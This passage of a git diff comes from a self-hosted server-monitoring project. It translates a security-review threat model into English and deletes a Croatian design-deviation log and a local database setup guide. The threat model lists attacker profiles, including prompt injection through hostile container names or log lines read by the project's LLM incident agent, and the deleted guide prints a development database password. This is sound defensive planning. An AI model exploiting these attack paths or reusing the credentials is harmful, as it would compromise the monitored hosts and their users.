- limita, razbijanje parsera, **prompt injection** prema asistentu.
-10. **Fizički/lokalni pristup hostu** (npr. `seed_user.py`, `reset_2fa.py`) je izvan modela
- prijetnji po dizajnu: ta ovlast već daje pristup bazi. Ali skripte ne smiju imati
- ugrađene vjerodajnice ni curiti tajne.
-
-## Najvrjednija imovina (redom)
-
-1. Pristup Docker API-ju / rootu na hostovima (preko proxyja, helpera, mountova).
-2. Admin sesija dashboarda i mogućnost odobravanja novih servera.
-3. Tokeni servera i join tokeni (hashirani u bazi).
-4. `SECRETS_KEY` (Fernet) i TOTP tajne, recovery kodovi.
-5. Monitoring podaci (otvoreni portovi, firewall hash, popis kontejnera) jer mapiraju mrežu.
-6. Integritet alarma (napadač koji može utišati ili lažirati incidente skriva napad).
-
-## Pretpostavke dizajna koje treba provjeriti, ne uzeti zdravo za gotovo
-
-- Backend vjeruje `X-Collector-Via` samo ako ništa nepouzdano ne doseže backend izravno.
-- nginx prihvaća `X-Forwarded-For` samo od privatnih/Docker adresa; rate limiti ovise o tome.
-- Collector endpointi odbijaju se i na javnoj strani (nginx 404) i u backendu
- (`COLLECTOR_ACCESS=strict`). Provjeri **oba** sloja i da ni jedan ne ovisi o drugom.
-- "Jednokratno" (join tokeni, TOTP kodovi, recovery kodovi, setup token) mora biti atomarno
- u bazi, ne "provjeri pa označi" (utrka).
-- "Ograničeno" (500 kontejnera, 20 otvorenih tokena, 5 pokušaja/5 min) mora vrijediti i pod
- paralelnim zahtjevima.
-- Prvi račun postaje admin: provjeri sve puteve do tog stanja (registracija, setup token,
- `seed_user.py`, utrka dvaju istodobnih prvih zahtjeva).
-
-## Poznata prihvaćena ograničenja (ne prijavljuj kao nova, ali provjeri da još vrijede)
-
-Iz `SECURITY.md`: svi prijavljeni računi vide sve monitoring podatke; zaključavanje 2FA koraka
-pri pogađanju kodova; sesije prije uvođenja 2FA nisu u popisu; samo TOTP; promet VPN-om je
-običan HTTP unutar tunela; sažeci povijesti se još ne brišu. Ako kod odstupa od onoga što je
-tamo opisano, to je nalaz.
-
-## Otvorene stavke iz projektne bilješke (provjeri jesu li još otvorene)
-
-Ograničenje broja čekajućih servera po IP-u; rate limit na `enroll`; `src/backend/seed_user.py`
-(ugrađena admin lozinka); `dev.db` pod gitom; zastarjeli README. Ako su još stvarne, prijavi ih
-s trenutnim stanjem u kodu.
+| Frontend (nginx + React SPA) | `docker/nginx*.conf`, `src/frontend` | public listener; proxies to the backend | publicly reachable |
+| Backend (FastAPI) | `src/backend` | Postgres, internal network segment | processes all input |
+| Postgres | `docker/postgres/init` | backend only | holds hashes, encrypted TOTP secrets, host data |
+| Collector gate | `docker/nginx.collector.conf` | backend; one port on the VPN address | the only path to collector endpoints |
+| Collector | `src/collector/collector.py` | host `/proc`, host FS read-only (`/hostfs`), Docker proxy, backend over HTTP | runs on remote hosts, may be compromised |
+| Docker proxy | `src/collector/docker_proxy.py` | Docker socket (uid 0), Unix socket to the collector | holds root-equivalent access; must stay minimal |
+| System helper (optional) | `src/collector/system_helper.py` | kernel log, wtmp, `CAP_SYSLOG` | privileged; its output is untrusted |
+| Incident agent (LLM) | `src/agent/` (`tools/`, `investigate.py`, `diagnosis.py`, `chat.py`, `masking.py`, `safety.py`, `providers/`, `worker.py`) | read-only tools over the Infradeck database; external LLM provider (Anthropic, OpenAI, Gemini) with a key encrypted in the database | input includes host data; everything sent to the provider goes through `masking.py` |
+| CI | `.github/workflows/images.yml` | GHCR, cosign | supply chain for the images that hosts run |
+
+Outside the repository (not in scope, but keep them in mind as assumptions): Traefik in front
+of the frontend, OpenVPN carrying collector traffic, GHCR packages.
+
+## Attacker profiles
+
+For every finding, determine which profile can exploit it.
+
+1. **Anonymous internet user** on the public listener. Reaches only the dashboard and its
+ API. Collector endpoints (register, poll, enroll, ingest) **must not exist** on that side.
+2. **Logged-in non-admin user.** By design sees all monitoring data for all servers. The
+ question is whether they can *change* anything, see other users' accounts/sessions/
+ conversations, or become admin.
+3. **Neighbouring web app on the same domain/platform** (a sibling subdomain behind the same
+ reverse proxy). Same "site", so `SameSite=Lax` does not protect against state-changing
+ requests. The protection is the `Origin` / `Sec-Fetch-Site` check.
+4. **VPN peer.** Reaches the collector gate. Without a valid join token it must not even be
+ able to request joining; with one it waits for admin approval; ingest requires a server
+ token.
+5. **Compromised collector.** Controls everything it reports (container names, mounts, ports,
+ events). The backend must not trust it: types, lengths, ranges, counts, limits per
+ check-in and per hour. It must not be able to affect other servers or the dashboard.
+6. **Compromised or malicious container on the host / neighbour on the Docker network.** May
+ try to reach the backend bypassing nginx (spoofing `X-Collector-Via`, `X-Forwarded-For`),
+ the docker proxy's Unix socket, or a volume it must not share.
+7. **Compromised dashboard.** Must not be able to make hosts execute code (the dashboard does
+ not serve code), or point probes at arbitrary targets (targets come from the collector's
+ environment).
+8. **Supply chain.** Dependencies (pip, npm), base images, GitHub Actions, workflow
+ permissions, unsigned or unpinned images.
+9. **Hostile data from a monitored host.** Container names, mount paths, kernel log lines,
+ wtmp, `/etc/os-release`. An attacker with limited access to the host can influence these
+ strings. Paths: stored XSS, injection into keys/queries, exceeding limits, breaking
+ parsers, **prompt injection** against the assistant.
+10. **Physical/local access to the host** (e.g. `seed_user.py`, `reset_2fa.py`) is outside the
+ threat model by design: that level of access already grants database access. But the
+ scripts must not contain built-in credentials or leak secrets.
+## Most valuable assets (in order)
+
+1. Access to the Docker API / root on hosts (via the proxy, the helper, mounts).
+2. A dashboard admin session and the ability to approve new servers.
+3. Server tokens and join tokens (hashed in the database).
+4. `SECRETS_KEY` (Fernet) and TOTP secrets, recovery codes.
+5. Monitoring data (open ports, firewall hash, container list), because it maps the network.
+6. Alert integrity (an attacker who can silence or fake incidents hides an attack).
+## Design assumptions to verify, not take for granted
+
+- The backend trusts `X-Collector-Via` only if nothing untrusted reaches the backend directly.
+- nginx accepts `X-Forwarded-For` only from private/Docker addresses; rate limits depend on
+ this.
+- Collector endpoints are rejected both on the public side (nginx 404) and in the backend
+ (`COLLECTOR_ACCESS=strict`). Check **both** layers, and that neither depends on the other.
+- "Single-use" (join tokens, TOTP codes, recovery codes, setup token) must be atomic in the
+ database, not "check then mark" (race).
+- "Capped" (500 containers, 20 open tokens, 5 attempts/5 min) must hold under concurrent
+ requests too.
+- The first account becomes admin: check every path to that state (registration, setup
+ token, `seed_user.py`, a race between two simultaneous first requests).
+## Known accepted limitations (do not report as new, but check they still hold)
+
+From `SECURITY.md`: all logged-in accounts see all monitoring data; the 2FA step locks when
+codes are guessed; sessions from before 2FA was introduced are not in the list; TOTP only;
+VPN traffic is plain HTTP inside the tunnel; history rollups are not deleted yet. If the code
+deviates from what is described there, that is a finding.
+
+## Open items from the project notes (check whether they are still open)
+
+A cap on pending servers per IP; rate limit on `enroll`; `src/backend/seed_user.py`
+(built-in admin password); `dev.db` tracked by git; outdated README. If they are still real,
+report them with their current state in the code.
+
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 411c32a..bf7cc5b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,8 @@
design/
+# Third-party security checklists without a license: never published.
+.claude/skills/claude-red/
+# Personal Claude Code settings.
+src/.claude/
# Byte-compiled / optimized / DLL files
__pycache__/
diff --git a/ODSTUPANJA.md b/ODSTUPANJA.md
deleted file mode 100644
index 4a9e10d..0000000
--- a/ODSTUPANJA.md
+++ /dev/null
@@ -1,192 +0,0 @@
-# Odstupanja od dizajna
-
-Popis svega što se u implementaciji redizajna razlikuje od PDF-ova u `design/web/` i `design/mobile/`,
-s razlogom i, gdje postoji, GitHub issueom. Stanje: 14. 10. 2026. Retci o incident agentu usklađeni su 10. 11. 2026.
-(automatska dijagnoza, ključ u Adminu i praćenje potrošnje sada postoje).
-
-Mobilni prikazi (`design/mobile/`) napravljeni su 14. 10. 2026; njihova odstupanja su u odjeljku „Mobitel i tablet".
-
-Narančasti brojevi u krugovima, oznake „STATE 1", „LOGIN · A" i blokovi „What changed" u PDF-ovima
-su anotacije dizajna i namjerno nisu ugrađeni.
-
-## Okvir aplikacije (sidebar, top bar)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| „karlo's homelab" kao ime instance | Zadano se izvodi iz imena prvog admina; mijenja se u Admin → General | – | – |
-| „Owner" ispod imena korisnika | „Owner" se prikazuje svakom adminu, „Member" svima ostalima | Ne postoji uloga vlasnika | #106 |
-| Verzija `v0.9.2` | Konstanta u `src/backend/config.py` i druga u `src/collector/collector.py` | Nema jednog izvora verzije pri buildu | #106 |
-| Prečac `⌘K` | Na Linuxu i Windowsu piše `Ctrl K` | Prikazuje se prečac koji stvarno radi na tom sustavu | – |
-
-## Overview (`01-dashboard.pdf`, `06-dashboard-empty-states.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Agentova bilješka na svakom incidentu („Agent: limit is 4 GB…") | Bilješka je prva rečenica agentove dijagnoze kad ona postoji; inače dolazi iz lokalne dijagnoze po pravilima | Bez API ključa, ili dok dijagnoza ne stigne, nema teksta modela | – |
-| „Ask the agent" otvara razgovor o tom kontejneru | Vodi na `/agent` bez konteksta kontejnera („Open diagnosis" otvara točno taj incident) | Chat još ne prima kontekst kontejnera | – |
-| Zadnji incident: „Resolved 2 h ago · memory limit raised to 6 GB" | Piše samo kada je riješen i na kojem serveru | Nitko ne upisuje kako je incident riješen | – |
-| „You'll get a push on ntfy if that changes" | Rečenica je izostavljena | Obavijesti ovise o kanalima koje je svaki korisnik postavio, pa rečenica ne bi vrijedila za svakoga | – |
-| Gumbi Logs i Restart u proširenom redu kontejnera | Prikazani, ali onemogućeni, s oznakom „Coming soon" i objašnjenjem u tooltipu | Dogovoreno: aplikacija ostaje read-only dok se to sigurnosno ne pregleda | #100 |
-| „Monitor this machine": „Check every 15 s · change later in Admin" | „Checks every minute at first · change it once it reports" | Novi server počinje s intervalom od 60 s; interval se mijenja na Overviewu ili u Adminu | – |
-| „Another machine": jedna `docker run` naredba | Dvije `docker run` naredbe (collector i docker-proxy) | Collector namjerno nema Docker socket; drži ga zaseban read-only proxy | – |
-| „Another machine": polje samo za ime | Dodano je i polje za adresu na koju se novi stroj javlja | Bez ispravne adrese naredba ne radi (localhost, VPN) | – |
-| Brisanje servera nije na Overviewu | „Remove this server" je i u System tabu, uz Admin → Servers | Zgodno je imati ga uz podatke servera | – |
-| Kartica „What you'll get": „Kept for a year as 30-minute points" | „Kept as rolled-up points for as long as you set in Admin" | Zadržavanje je postavka, a točke nisu uvijek 30-minutne | – |
-| „The agent only sends data to your model provider when it diagnoses an incident" | „…when it diagnoses an incident or you ask it something, and only once an admin has saved an API key" | Podaci idu i kod pitanja u chatu, a bez ključa ne ide ništa | – |
-
-## Tabovi servera (`08-server-tabs.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Containers: „Restarts · 24 h" | „Restarts · since created" | Postoji samo Dockerov ukupni brojač | #105 |
-| Network: imena host procesa (`sshd`, `vite dev server`) | Ime se vidi kad port objavljuje kontejner; host procesi samo uz opcionalni `port-owners` helper; bez njega `sshd` je pretpostavka po portu 22 | Čitanje tuđih procesa traži velike privilegije, pa je isključeno po defaultu | – |
-| Network: „Bound to" s pravom adresom (`10.0.0.12`) | `0.0.0.0`, `127.0.0.1` ili „one address" | Collector šalje samo opseg (svi, loopback, jedna adresa) | #103 |
-| Network: „Reachable from: LAN + VPN" | „every network", „one network" ili „this machine" | Isto kao gore | #103 |
-| Network: sučelja s opisom („WireGuard", „9 bridges") | Ime, mreža, brzina i promet | Vrsta sučelja se ne prikuplja | #39 |
-| System: „Security: 4 · openssl, libc6, sudo…" | Samo broj („4 waiting") | Imena paketa nisu ni u jednoj datoteci koju collector smije čitati | #104 |
-| System: ažuriranja za sve distribucije | Samo Debian i Ubuntu (apt) | dnf i pacman nemaju čitač | #104 |
-| System: „Failed units: 0 systemd units" | Red je izostavljen | Jedini put je D-Bus, koji može i mijenjati servise | #102 |
-| System: „Disk errors: None · SMART healthy" | Brojač I/O grešaka iz kernela; NVMe ga nema | SMART traži sirov pristup diskovima | #101 |
-| System: stupac Health po disku („SMART ok · 3% worn") | Stupac Inodes | Isto kao gore | #101 |
-| System: „Last shutdown: Clean, by reboot command" | „Clean" ili „Unclean" | Uzrok gašenja se ne bilježi | – |
-| System: „Proxy: docker-socket-proxy" | „Docker socket proxy, read-only" | Proxy je vlastiti, ne projekt tog imena | – |
-| System: `/var/lib/docker` s uređajem i tipom `overlay2` | Uređaj „—", tip „images + cache" | `/system/df` je namjerno sveden na šest brojeva | – |
-| Events: „Events are kept for 90 days, then only alerts are kept for a year" | „Events are kept for N days" (postavka zadržavanja) | Ne postoji zasebno pravilo za alerte | #58 |
-| Events: „watchtower pulled new images…", „restarted by a user through Portainer" | Generičke rečenice („now run a different image build") | Infradeck ne zna tko je pokrenuo promjenu | – |
-| Events: „alert sent to ntfy and email" | Ne piše kamo je alert poslan | Ne bilježi se slanje po kanalu | – |
-
-## Prijava i registracija (`09-login.pdf`, `mobile/06-login.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| „Forgot it?" vodi na reset lozinke | Otvara objašnjenje: pitaj admina ili napravi novog admina sa servera | Reset lozinke ne postoji; Infradeck ne šalje e-mail | #108 |
-| Stanje greške nije nacrtano | Tihi žuti okvir iznad gumba | Dizajn ga ne prikazuje | – |
-| `/register` uz zatvorenu registraciju nije nacrtan | Kratka poruka s poveznicom na prijavu | Dizajn ga ne prikazuje | – |
-| Mobitel, 2FA: sustavska tipkovnica i „From Messages" | Polja traže numeričku tipkovnicu i `one-time-code`; što se prikaže ovisi o uređaju | To crta operativni sustav, ne stranica | – |
-| 30 dana ostaje nakon promjene lozinke | Sesija se nakon promjene lozinke ili uključivanja 2FA vraća na jedan dan | Te radnje otvaraju novu sesiju bez oznake „remember" | – |
-
-## Statistics (`02-statistics.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Birač servera: samo serveri | Dodana je stavka „All" s prikazom flote | Dogovoreno, da se ne izgube incidenti i dostupnost | – |
-| Prikaz flote nije nacrtan | Stari sadržaj (incidenti, dostupnost, rang-liste) u novim bojama; krafne i stupci zadržavaju zelenu, žutu i narančastu | Za taj prikaz nema dizajna | – |
-| Events red: „nightly backup" | Oznaka „nightly <kontejner> peak" na svakom skoku koji se ponavlja | Infradeck ne zna što je backup; zna samo koji je kontejner tada najzaposleniji | – |
-| Events red: oznake uz svaki događaj | Tekst se prikazuje samo gdje ima mjesta do sljedećeg događaja; ostalo je u tooltipu | Inače se oznake preklapaju | – |
-| Events red: „apt upgrade · 41 packages" | Isto, ali tek od trenutka kad collector to počne javljati; samo Debian i Ubuntu | Događaj nastaje kad se apt-ov log promijeni između dva javljanja | #104 |
-| Nalaz: „line up with the gitlab backup job" | „gitlab is the busiest container each time" | Isto kao gore | – |
-| Nalaz: „Spikes last 8 to 14 minutes" | Isto, ali samo za raspone do 7 dana | Trajanje se čita iz pojedinačnih javljanja, a ona se čuvaju tjedan dana | #58 |
-| Tablica: Swap po kontejneru | Prosjek kroz raspon; samo cgroup v2 i tek nakon rebuilda collectora; za razdoblja prije toga prazno | Docker ne daje swap po kontejneru, čita se iz cgroupa | – |
-| Tooltip: „Busiest gitlab 94%" | Najviši CPU jednog kontejnera u tom razdoblju; za raspone od 30 dana naviše po satu, tjednu ili mjesecu | Čita se iz sažetaka | – |
-| „Not measured before collector 0.9.0" | „Not measured before <datum>" | Povijest verzija collectora se ne bilježi | – |
-| Raspon boja u heatmapu „0% – 15%+" | Gornja granica se računa iz podataka | Fiksna granica ne odgovara svakom serveru | – |
-| Export CSV | Izvozi točke Timelinea odabranog servera i raspona | Dizajn ne kaže što se izvozi | #67 |
-| Povijest kontejnera nije nacrtana | Klik na red otvara Timeline za taj kontejner (CPU, Memory, Restart count) ispod reda | Dogovoreno | – |
-
-## Agent (`03-agent.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Dijagnozu piše jezični model („watchtower updated the image to 17.4.1…") | Kad postoji API ključ, dijagnozu piše model i ona se provjerava prema podacima; bez ključa, ili dok ne stigne, prikazuje se dijagnoza po fiksnim pravilima | Agent je opcionalan; dijagnoza po pravilima ne košta ništa i ništa ne šalje van | – |
-| Evidence: retci iz loga kontejnera i `docker events` | Događaji koje je Infradeck zabilježio na tom serveru | Docker proxy ne može čitati logove | #100 |
-| „Confidence: high · 3 of 3 signals agree" | Agentova dijagnoza: oznaka „high confidence" i broj izostavljenih tvrdnji; dijagnoza po pravilima: „3 of 3 checks against the data hold" | Pouzdanost procjenjuje samo model; pravila je nemaju | – |
-| Koraci s točnom putanjom (`/opt/gitlab/docker-compose.yml`) i brojkama iz povijesti verzija | Koraci iz fiksnog priručnika po vrsti pravila, s imenom kontejnera i izračunatim limitom | Infradeck ne zna gdje je compose datoteka ni koju verziju slike je kontejner imao prije | – |
-| „Notified ntfy, email" | „sent to the channels people chose" ili „nobody yet" | Ne bilježi se po kanalu | – |
-| Chat: odgovori s oznakama izvora („memory 12:30–13:55", „docker events") | Običan tekst odgovora; ispod njega sklopljeni „Looked up": pretrage koje je agent napravio, s njegovim pitanjem, što je tražio i redak činjenica iz rezultata | Izvori su pretrage alata, a ne oznake u tekstu; retke činjenica piše Infradeck, ne model | #158 |
-| Nema prikaza kako je agent došao do dijagnoze | Ispod signala sklopljeni „How the agent got there · N look-ups" | Prikaz koraka istrage | #158 |
-| Chat: prijedlozi pitanja vezani uz incident | Tri općenita prijedloga | Isto | – |
-| „Resolved 14" po tjednima, s opisom kako je riješeno | Zadnjih 200 riješenih; opis je „Marked resolved by …" ili „Cleared on its own" | Nitko ne upisuje kako je riješeno | – |
-| „Mark resolved" trajno zatvara | Ako je uzrok još tu, na sljedećem javljanju otvara se novi incident | Pravilo i dalje vrijedi | – |
-| Viewer ne može ništa mijenjati | Isto; gumbi su onemogućeni s objašnjenjem | – | – |
-
-## Account (`04-account.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Email „Verified" | Bez oznake | Infradeck ne šalje e-mail, pa nema provjere | – |
-| Recovery codes: „Show" | Samo „Regenerate" | Kodovi su spremljeni kao hash | – |
-| Recovery codes: „8 of 10 left · generated 25 Sep" | „8 left" | Datum generiranja se ne bilježi | – |
-| Passkeys: „Add passkey" | Gumb je onemogućen, s oznakom „Coming soon" | WebAuthn nije napravljen | #77 |
-| Sessions: lokacija („Zagreb, HR") i „Last active" | IP adresa i vrijeme prijave | Nema geolokacije; zadnja aktivnost se ne bilježi | – |
-| „Sessions expire after 30 days without activity" | „A session lasts a day, or 30 days…" | Sesija istječe od prijave, ne od zadnje aktivnosti | – |
-| Kanali: Telegram, Slack, Gotify, Pushover | ntfy, Discord webhook, bilo koji webhook, e-mail (ako je SMTP postavljen) | Ostali idu kroz generički webhook | #50 |
-| Kanal: „Fix" kod neuspjeha | „Send test" i „Remove" | Adresa se ne može urediti jer je spremljena šifrirano; kanal se ukloni i doda ponovno | – |
-| Matrica: „Agent diagnosis ready", „Daily digest 08:00", „Weekly report" | Redovi su prikazani, ali onemogućeni | Ne postoje | #33 |
-| Display: Time format i Sizes mijenjaju prikaz | Spremaju se, ali se još ne primjenjuju | Vremena i veličine se formatiraju na puno mjesta | – |
-| Display: Time zone za grafove | Vrijedi samo za tihe sate; grafovi prate preglednik | Isto | – |
-| „Change initials color" | Mijenja boju kroz šest ponuđenih | Dizajn ne kaže kako | – |
-
-## Admin (`05-admin.pdf`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| „Update available · 0.9.3" | Nema; About ima poveznice na changelog | Infradeck ne zove van | – |
-| Connect a server kao tri numerirana koraka | Iste kartice kao na Overviewu (ime, naredba, čekanje, Add) | Jedna implementacija umjesto dvije | – |
-| „Removing a server keeps its history" | Brisanje servera briše i njegove metrike i incidente | Tako radi postojeće brisanje | – |
-| Users: „Invite pending · Resend" | Poveznica se prikaže jednom; „Cancel" i nova pozivnica | Infradeck ne šalje e-mail | – |
-| Uloge Owner / Admin / Viewer | Owner je prvi admin i ne može se mijenjati; ostalo Admin ili Viewer | Nema zasebne uloge vlasnika | #106 |
-| Alert rules: „Disk forecast full in < 30 days", „CPU > 90%" | Ne postoje; popis ima 20 stvarnih pravila | Ta pravila nisu napravljena | – |
-| Alert rules: stupac Servers s izborom servera | Uvijek „All" | Pravila vrijede za sve servere | – |
-| Alert rules: „New rule" | Gumb je onemogućen, s oznakom „Coming soon" | Vlastita pravila ne postoje | – |
-| Alert rules: bilješka zašto je pravilo isključeno | Samo broj isključenih pravila | Razlog se ne upisuje | – |
-| Incident agent: „Anthropic API · key ending 4f2a", „Change" | Provider, model i ključ biraju se u Adminu; prikazuje se samo da je ključ spremljen, bez njegovih zadnjih znakova | Ključ, ni djelomično, ne napušta backend | – |
-| „Read container logs" s iznimkama | Onemogućeno | Proxy ne čita logove | #100 |
-| „Redact IPs and hostnames" | Onemogućeno | Nije napravljeno | – |
-| Incident agent: nema retka za broj pretraga | Redak „Look-ups": koliko alata agent smije pozvati po dijagnozi (8) i po poruci u chatu (4) | Budžet poziva alata, podizanje s 0 traži lozinku i 2FA | #157 |
-| Retention: tri zasebna roka | Jedan rok za sažetke; javljanja se čuvaju tjedan dana | Tako radi postojeće zadržavanje | #58 |
-| Database: putanja, rast po tjednu, „Last backup", „Export", „Back up now" | Veličina baze i broj zapisa; gumbi su onemogućeni, s oznakom „Coming soon" | Backup ne postoji | – |
-| About: „built 2 Oct 2026" | Samo verzija | Datum builda se ne bilježi | #106 |
-
-## Mobitel i tablet (`design/mobile/`)
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Overview: ploča „Agent" s bilješkom nije na mobitelu | Kartica incidenta nema agentovu bilješku | Dizajn je na mobitelu ne prikazuje; bilješka je na ekranu incidenta | – |
-| Server: graf „Disk" uz CPU, Memory i Load | Disk crta najpuniji disk iz povijesti diska (1 h ili 6 h), ne iz živih uzoraka | Živi uzorci nemaju disk | – |
-| Server: tabovi Network, System i Events nisu nacrtani za mobitel | Desktopni sadržaj u jednom stupcu; tablica portova postaje kartice, tablica diskova se pomiče vodoravno | Za te tabove nema mobilnog dizajna | – |
-| Kontejner u sheetu: gumbi Logs i Restart | Prikazani, ali onemogućeni, s oznakom „Coming soon" | Isto kao na desktopu | #100 |
-| Statistics: Timeline je zaseban ekran, ulaz nije nacrtan | Na glavnom ekranu je kartica „Timeline" s gumbom „Open timeline"; „Show on timeline" otvara ekran na tom trenutku | Dizajn ne kaže kako se dolazi do ekrana B | – |
-| Statistics: „Time spent at each level" nije na mobitelu | Prikazano ispod „When it's busy" | Dizajn kaže „Same data as desktop" | – |
-| Statistics: legenda „This week / Last week" | „Last 7 days / The previous 7 days" | Isti tekst kao na desktopu | – |
-| Agent: „Show 5 log lines" | „Show N recorded events" | Infradeck ne čita logove kontejnera, nego bilježi događaje | #100 |
-| Agent: „Push alerts are on · Critical only between 23:00 and 07:00" | Redak „Where alerts go" vodi u Account | Infradeck nema push obavijesti na mobitel (nema aplikacije ni Web Pusha) | #50 |
-| Agent chat: oznake izvora ispod odgovora | Ispod odgovora su koraci istrage (što je agent provjerio i što je našao), ne oznake izvora | Odgovor u chatu ne citira činjenice; citati postoje samo u dijagnozi | – |
-| More: „Owner" | Owner za admine, Member za ostale | Ne postoji uloga vlasnika | #106 |
-| Security: redovi s strelicom i prekidačem za 2FA | Isti redovi kao na desktopu (gumbi „Change password", „Set up") | Postupci traže lozinku i kod, pa ostaju gumbi | – |
-| Sessions: lokacija i „via WireGuard" | Adresa i vrijeme prijave | Nema geolokacije | – |
-| Notifications: kanal „This iPhone · Push" | Nema | Nema push obavijesti | #50 |
-| Notifications: redovi „Weekly report" i „Email digest 08:00" | Jedna rečenica da još ne postoje | Ne postoje | #33 |
-| Admin: „Infradeck 0.9.3 is out" | Nema; hub prikazuje strojeve koji čekaju | Infradeck ne zove van | – |
-| Admin: Connect a server u tri numerirana koraka | Ista kartica kao na desktopu, uz Copy i Share ispod naredbe | Jedna implementacija | – |
-| Admin: „You'll get a push when it connects" | Nema | Nema push obavijesti | #50 |
-| Alert rules: „+" za novo pravilo | Nema | Vlastita pravila ne postoje | – |
-| Tablet: Agent skriva chat iza gumba | Na tabletu su popis, incident i chat jedan ispod drugoga | Tri stupca ostaju od 1200 px; ispod toga slažu se okomito | – |
-
-## Availability (`10-availability.pdf`, `mobile/07-availability.pdf`)
-
-Prvi dio milestonea: provjere HTTP(s), Keyword i TCP port, pokreću ih collectori od verzije 0.10.0.
-
-| Dizajn | Implementacija | Razlog | Issue |
-| --- | --- | --- | --- |
-| Gumbi „Status page" i „Maintenance" | Prikazani, ali onemogućeni, s oznakom „Coming soon" | Još nisu napravljeni | #143, #144 |
-| Devet vrsta provjera | Rade HTTP(s), Keyword, JSON query, TCP port, TLS certificate, DNS i Ping; Docker container i Push prikazani kao „later" i ne mogu se odabrati | Preostala dva dijela | #135, #136 |
-| JSON query: JSONata izrazi (kao Uptime Kuma) | Jednostavna staza (`data.status`, `items[0].ok`) + usporedba (equals / contains / > / < / exists) | JSONata traži vanjsku ovisnost i izvršavanje izraza nad odgovorom (DoS/sigurnost); staza je čisto navigiranje | #133 |
-| TLS certificate: čita istek i za samopotpisane certifikate | Lanac certifikata mora biti valjan; za samopotpisane ide TCP ili HTTP provjera uz „Ignore TLS errors" | Čitanje isteka bez validacije traži ručni ASN.1 parser; izbjegnuto | #133 |
-| DNS: usporedba odgovora po zapisu i prioritetu | Očekivani odgovor je točna podudarnost (TXT: sadrži) bilo kojeg zapisa; vlastiti UDP klijent (A, AAAA, CNAME, MX, TXT, NS) | Dovoljno za homelab; bez vanjske DNS biblioteke | #133 |
-| Ping | ICMP preko unprivileged datagram socketa; collector treba `net.ipv4.ping_group_range` (dodan u compose). Bez njega provjera javi da ICMP nije dopušten | Zatvoreni container (`cap_drop: ALL`) ne daje raw sockete; ovo je najmanja ovlast, bez `NET_RAW` | #133 |
-| Tab „Find on this machine" u drawer-u New check | Samo ručno dodavanje | Prvi dio | #142 |
-| Grupe po tagu redom kako ih je korisnik složio (Public prvi) | Abecedno, provjere bez taga na kraju | Nema spremljenog redoslijeda grupa | – |
-| Detalj: izdavatelj certifikata („Let's Encrypt R11") | Samo broj dana do isteka | Collector šalje samo datum isteka | #140 |
-| Detalj: graf za 30 d po serveru | 30 d je jedna linija za sve servere zajedno | Satni sažeci nisu po serveru; sirovi rezultati čuvaju se 7 dana | #140 |
-| Detalj: događaj „Paused 20 min for maintenance" | Događaji su samo padovi i oporavci (iz incidenata) | Pauze i održavanje se još ne bilježe | #143 |
-| Detalj: gumb „Clone" | Pause, Edit i Delete | Prvi dio | #140 |
-| Down now: „alert sent to ntfy" i sažetak agenta | Razlog pada, s kojih servera i koliko puta zaredom; za novu provjeru „no alert yet" | Ne bilježi se slanje po kanalu; agent za provjere još ne postoji | #137, #145 |
-| Down now: „Pause alerts" | „Pause" pauzira cijelu provjeru | Odvojeno pauziranje obavijesti nije napravljeno | #137 |
-| New check: obavijesti po kanalu, „While down, remind every", „Alert on certificate expiry" | Pad otvara incident koji ide na iste kanale kao svi incidenti; bira se samo Critical/Warning | Obavijesti idu kroz postojeće incidente | #137 |
-| New check: „Test passed · 200 OK · 142 ms from both servers" odmah | Test traje 5–15 s: collectori pitaju za posao svakih 10 s kad nemaju što javiti; nova provjera i dalje prvih 10 minuta ne šalje obavijesti | Collector ne prima veze izvana, nego sam pita dashboard | #141 |
-| New check: timeout fiksno 48 s | Timeout se sam smanji na 80 % intervala kad je interval kraći; greške se pokazuju uz polje i u podnožju | Zadani timeout inače blokira interval ispod 49 s | #141 |
-| New check: tagovi kao čipovi | Tekstno polje, tagovi odvojeni zarezom | Jednostavnije | #141 |
-| Mobitel: Availability kao zaseban tab | Availability je u More (s brojem palih provjera na tabu More); popis provjera je kompaktan, s trakom zadnjih 30 provjera | Tab bar ima mjesta za četiri stavke | #146 |
-| Agent confirm (`11-agent-confirm.pdf`): dizajn pokazuje samo „Diagnose new incidents automatically" | Isti popup pita i za Chat (Off → On), Chat access (Admins only → Per user, gumb „Verify and save") i spremanje providera (npr. OpenAI → Anthropic ili stari → novi model, gumb „Verify and save") | Sve te promjene šalju podatke vanjskom modelu, pa traže istu potvrdu | #184 |
-| Agent confirm: admin bez 2FA | Umjesto polja za lozinku popup kaže da prvo treba uključiti 2FA, s poveznicom na Account › Security | Dizajn ne pokazuje to stanje; bez 2FA promjena nije moguća | #184 |
-| Agent confirm: popup „centred on the content" | Popup je centriran na cijeli ekran, a ne na sadržaj desno od bočne trake | Karlova odluka nakon pregleda (7. 11. 2026) | #184 |
diff --git a/SETUP_DATABASES.md b/SETUP_DATABASES.md
deleted file mode 100644
index 569acd8..0000000
--- a/SETUP_DATABASES.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# Local database setup
-
-This project includes a simple local PostgreSQL + Redis stack for development.
-
-## Start services
-
-```bash
-cd /media/karlo/data/Documents/programming/Infradeck
-docker compose up -d
-```
-
-## Useful connections
-
-- PostgreSQL: `localhost:5432`
-- Redis: `localhost:6379`
-
-## PostgreSQL credentials
-
-- Database: `infradeck`
-- User: `infradeck`
-- Password: `infradeck_dev`
-
-## Quick checks
-
-```bash
-# PostgreSQL readiness
-docker compose exec postgres pg_isready -U infradeck -d infradeck
-
-# Check the users table
-docker compose exec postgres psql -U infradeck -d infradeck -c "SELECT id, email, role FROM users;"
-
-# Redis ping
-docker compose exec redis redis-cli ping
-```
-
-## What Redis is good for right now
-
